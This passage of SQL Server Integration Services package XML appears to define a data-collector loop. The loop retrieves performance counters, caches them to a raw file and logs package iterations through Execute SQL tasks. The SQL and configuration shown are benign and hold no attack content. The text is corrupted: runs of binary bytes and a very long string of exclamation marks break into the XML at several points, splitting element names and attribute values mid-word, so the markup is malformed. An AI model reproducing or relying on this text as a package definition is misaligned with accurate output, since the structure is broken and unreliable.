hasSideEffects="true" name="Raw File Destination Input"><inputColumns><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[path]" cachedDataType="wstr" cachedLength="2048" cachedName="path" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[path]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[path]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[formatted_value]" cachedDataType="r8" cachedName="formatted_value" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[formatted_value]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[formatted_value]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[raw_value_first]" cachedDataType="i8" cachedName="raw_value_first" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[raw_value_first]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[raw_value_first]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[raw_value_second]" cachedDataType="i8" cachedName="raw_value_second" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[raw_value_second]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[raw_value_second]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item freque	!!!!!!!!!!!!!!!!!!!!!!!!`5h"Hvncy\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[counter_type]" cachedDataType="i4" cachedName="counter_type" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[counter_type]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[counter_type]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[collection_time]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[collection_time]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[object_name]" cachedDataType="wstr" cachedLength="2048" cachedName="object_name" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[object_name]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[object_name]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[counter_name]" cachedDataType="wstr" cachedLength="2048" cachedName="counter_name" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[counter_name]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[counter_name]"/><inputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].Columns[instance_name]" cachedDataType="wstr" cachedLength="2048" cachedName="instance_name" externalMetadataColumnId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[instance_name]" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxP	!!!!!!!!!!!!!!!!!!!!!!!!`B5˓OHh>8^}p@:xY`	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`5ΒHverfCounters Output].Columns[instance_name]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[path]" dataType="wstr" length="2048" name="path"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[formatted_value]" dataType="r8" name="formatted_value"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[raw_value_first]" dataType="i8" name="raw_value_first"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[raw_value_second]" dataType="i8" name="raw_value_second"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[counter_type]" dataType="i4" name="counter_type"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[object_name]" dataType="wstr" length="2048" name="object_name"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[instance_name]" dataType="wstr" length="2048" name="instance_name"/><externalMetadataColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input].ExternalColumns[counter_name]" dataType="wstr" length="2048" name="counter_name"/></externalMetadataColumns></input></inputs></component></components><paths><path refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters.Paths[Row Count Output 1]" endId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input]" name="Row Count Output 1" startId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RC - Number of counters collected.Outputs[Row Count Output 1]"/><path refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters.Paths[TxPerfCounters Output]" endId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retriev	!!!!!!!!!!!!!!!!!!!!!!!!`5AgHve Performance Counters\RC - Number of counters collected.Inputs[Row Count Input 1]" name="TxPerfCounters Output" startId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output]"/></paths></pipeline></DTS:ObjectData></DTS:Executable></DTS:Executables></DTS:Executable><DTS:Executable DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency\Get SQL Process ID" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{8399b51b-c73c-4eb5-a314-447211237d45}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:ObjectName="Get SQL Process ID" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server 2008;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{8f6a0f37-d2f3-4cba-8dba-24bc965aa726}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlProcessID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{4E94A5E2-F3FC-4BE3-A517-51510D6C61A0}" SQLTask:SqlStatementSource="SELECT ? = CONVERT (int, SERVERPROPERTY ('ProcessID'))"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TargetProcessID" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency\No-Op Sequence Container" DTS:CreationName="STOCK:SEQUENCE" DTS:Description="Sequence Container" DTS:DTSID="{3C4A6AEF-9248-43F4-9428-9A90D2180467}" DTS:ExecutableType="STOCK:SEQUENCE" DTS:LocaleID="-1" DTS:ObjectName="No-Op Sequence Container"><DTS:Variables/><DTS:Executables/></DTS:Executable><DTS:Executable DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency\SQL - Log Package Iteration" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{81cbca02-95ea-4634-95ed-6ddd61802257}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Iteration" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{4E94A5E2-F3FC-4BE3-A517-51510D6C61A0}" SQLTask:SqlStatementSource="EXEC dbo.sp_syscollector_event_onpackageupdate ?"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency\SQL - Log Package Stats" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTa	!!!!!!!!!!!!!!!!!!!!!!!!`5"eHvsk.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" 